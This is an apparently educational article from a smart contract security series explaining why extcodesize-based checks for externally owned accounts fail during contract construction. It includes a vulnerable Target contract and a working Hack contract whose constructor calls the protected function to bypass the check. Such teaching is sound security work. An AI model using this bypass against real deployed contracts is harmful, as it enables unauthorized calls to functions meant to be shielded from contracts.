Smart contract security: 2. Bypass EOA checks

1.Background

The address of Ethereum may be an external user address (Externally Owned Accounts, EOA for short), or a contract address. Sometimes it is necessary to distinguish between these two addresses, or in other words, in many cases, it is to restrict other contract addresses from making cross-contract calls to prevent hacker attacks. This uses an EVM instruction: extcodesize.

This command can get address associated code length.

For example, the following contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract Test {
    function getAddressCodeSize(address account) public view returns (uint size) {
        assembly {
            size := extcodesize(account)
        }
    }
}

contract Demo {
    constructor() {}
}

We can measure that the length of the Demo contract is 63, while the length of an ordinary user is 0.

But there are loopholes that allow the EOA check to be bypassed.

2.Vulnerabilities

The loophole is that if the attacking contract makes a cross-contract call in the constructor, then the code length of the associated address returned by extcodesize at this time is also 0, which can be determined as an EOA address. Because only when the constructor of the contract is executed, the contract code will be saved.

What the Ethereum node saves is actually deployedBytecode, which removes the constructor code that will be executed for the first deployment. The following contracts can exhibit this vulnerability:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract Target {
    function isContract(address account) public view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}

contract FailedAttack {
    // Attempting to call Target.protected will fail,
    // Target block calls from contract
    function pwn(address _target) external {
        // This will fail
        Target(_target).protected();
    }
}

contract Hack {
    bool public isContract;
    address public addr;

    // When contract is being created, code size (extcodesize) is 0.
    // This will bypass the isContract() check
    constructor(address _target) {
        isContract = Target(_target).isContract(address(this));
        addr = address(this);
        // This will work
        Target(_target).protected();
    }
}

This contract has an EOA check, and general attack contracts such as FailedAttack cannot be broken, but when Hack is directly called across contracts in the constructor function, the EOA check can be bypassed.